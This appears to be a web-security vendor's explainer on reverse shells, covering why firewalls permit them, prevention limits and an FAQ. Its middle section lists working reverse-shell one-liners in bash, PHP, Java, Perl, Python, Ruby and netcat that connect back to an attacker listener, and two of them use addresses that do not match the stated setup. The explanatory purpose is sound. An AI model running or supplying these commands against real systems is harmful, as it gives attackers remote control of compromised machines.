To gain control over a compromised system, an attacker usually aims to gain interactive shell access for arbitrary command execution. With such access, they can try to elevate their privileges to obtain full control of the operating system. However, most systems are behind firewalls and direct remote shell connections are impossible. One of the methods used to circumvent this limitation is a reverse shell.
How Reverse Shell Works
In a typical remote system access scenario, the user is the client and the target machine is the server. The user initiates a remote shell connection and the target system listens for such connections. With a reverse shell, the roles are opposite. It is the target machine that initiates the connection to the user, and the user’s computer listens for incoming connections on a specified port.
The primary reason why reverse shells are often used by attackers is the way that most firewalls are configured. Attacked servers usually allow connections only on specific ports. For example, a dedicated web server will only accept connections on ports 80 and 443. This means that there is no possibility to establish a shell listener on the attacked server.
On the other hand, firewalls usually do not limit outgoing connections at all. Therefore, an attacker may establish a server on their own machine and create a reverse connection. All that the attacker needs is a machine that has a public (routable) IP address and a tool such as netcat to create the listener and bind shell access to it.
Reverse Shell Examples
It is very simple to create reverse shells using different tools and languages. First, you need a listener on your local machine with a public IP. For example, on a Linux machine, all you need is the following netcat command:
ncat -l -p 1337
This establishes the listener on TCP port 1337. Let’s assume that the user’s machine is available at the IP address 10.10.17.1. The following one-liners executed on the compromised target machine create a reverse shell connection with the attacker’s machine:
Bash Reverse Shell
The simplest method is to use bash which is available on almost all Linux machines. This was tested on Ubuntu 18.04 but not all versions of bash support this function:
/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1
PHP Reverse Shell
If the target machine is a web server and it uses PHP, this language is an excellent choice for a reverse shell:
php -r '$sock=fsockopen("10.10.17.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
If this does not work, you can try replacing &3 with consecutive file descriptors. Another option for PHP is to download and execute a more complex script developed by pentestmonkey.
Java Reverse Shell
If the target machine uses Java, try the following:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.17.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Perl Reverse Shell
Perl is another good candidate for a reverse shell on a web server:
perl -e 'use Socket;$i="10.10.17.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python Reverse Shell
Python is commonly used on production systems and therefore it may be an option for a reverse shell as well:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ruby Reverse Shell
While Ruby is not as common as the other languages, it also makes it possible to create a reverse shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.17.1","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';
or
ruby -rsocket -e'f=TCPSocket.open("10.0.17.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat Reverse Shell
Netcat is rarely available on production servers, but if all else fails, the attacker can try the following:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
More Reverse Shells
For an impressive list of reverse shell payloads, you can refer to the Reverse Shell Cheat Sheet maintained by Swissky on GitHub.
Prevention
In general, a reverse shell on its own is not malicious and can also be used for legitimate purposes, for example, for remote server administration. If you don’t need to use reverse shells, you can try to limit the possibility to create them but it is very difficult:
- You can impose strict control of outgoing connections. However, this is only possible for very specialized servers. And there is nothing to stop the attacker from opening a listener on a common port such as 80. In such a case, all connections would have to be monitored for content as well.
- You can disable most tools that make it possible to create a reverse shell, but again this is only possible for very specialized servers. As you can see above, reverse shells can be created using different tools and languages. Therefore, you may make it more difficult for the attacker, but not impossible.
Even if you succeed in avoiding reverse shells, there are other methods that the attacker can use to establish control over the system. For example, in some cases, they may use web shells instead.
Reverse shells on their own are always a result of some other kind of attack, for example, an SQL Injection attack. Therefore, the best way to avoid reverse shells is to protect against attacks that allow impostors to gain shell access in the first place.
Frequently asked questions
A shell is a user interface for access to operating system services. A reverse shell is a remote shell, where the connection is made from the system that offers the services to the client that wants to use these services.
Attackers can also use web shells instead of reverse shells.
To create a reverse shell, you need to open a client machine port that is accessible from the Internet. Then, you need to run a listener on the client machine. Finally, you need to run a command on the server that establishes a connection with the client listener.
For more information, see Swissky’s reverse shell cheat sheet.
There is no way to completely block reverse shells. You can only make it more difficult to create one by blocking most outgoing ports (if possible) and turning off most services (if possible). You can also monitor all traffic outgoing from the server for potential shell commands.
To create a reverse shell, the attacker must first have the ability to run commands on your server. To prevent vulnerabilities that let attackers run commands, you should regularly scan your server using a vulnerability scanner.
Get the latest content on web security
in your inbox each week.